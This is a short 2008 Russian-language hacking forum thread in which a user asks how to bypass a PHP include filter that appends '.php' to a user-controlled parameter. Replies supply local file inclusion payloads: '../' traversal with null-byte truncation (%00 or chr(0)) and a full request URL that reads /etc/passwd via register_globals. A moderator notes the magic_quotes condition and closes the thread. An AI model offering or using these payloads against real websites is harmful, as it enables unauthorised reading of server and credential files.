Можно ли обойти такой "фильтр"?

Discussion in 'Песочница' started by n0mie, 22 Aug 2008.

Thread Status:
Not open for further replies.
  1. n0mie

    n0mie New Member

    Joined:
    28 May 2008
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    В коде сайта есть такая конструкция:
    PHP:
            if (file_exists('folder/' $USER['param1'] . '.php'))
            {
                 require 
    "folder/{$USER['param1']}.php";
            }
    соответственно $USER['param1'] я могу задать любой.

    Возможно ли обойти ограничение и сделать
    локальный инклуд, например, для "/file1.txt"?
     
  2. А®ТеS

    А®ТеS Active Member

    Joined:
    25 Nov 2006
    Messages:
    198
    Likes Received:
    193
    Reputations:
    41
    Выход ни директорию вверх можно сделать путем добавления в параметр ".." (без кавычек). Отрубить расширение php можно нулевым байтом (%00), что, впрочем, далеко не всегда проканывает. Ну, если идеальная ситуация, то так:
    param1=../file.txt%00 (если параметр через GET запрос получает скрипт)
    или, если в php коде, то:
    PHP:
    $USER['param1'] = "../file.txt".chr(0);
     
  3. zer0ska

    zer0ska Elder - Старейшина

    Joined:
    5 Dec 2007
    Messages:
    103
    Likes Received:
    9
    Reputations:
    0
    да легко
    примерно так
    это при включенном registr global
    http://sasasas.com/scipt.php?USER[param1]=../../../../../../../../../../../../../etc/passwd%00
     
  4. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Легко это если только мейджик квотс = офф, т.к. иначе это не прокатит.

    P.S. вообще для вопросов есть спец тема и задавать вопросы нужно в ней, а не создавать новую тему.
    P.P.S. закрыто.
     
Loading...
Thread Status:
Not open for further replies.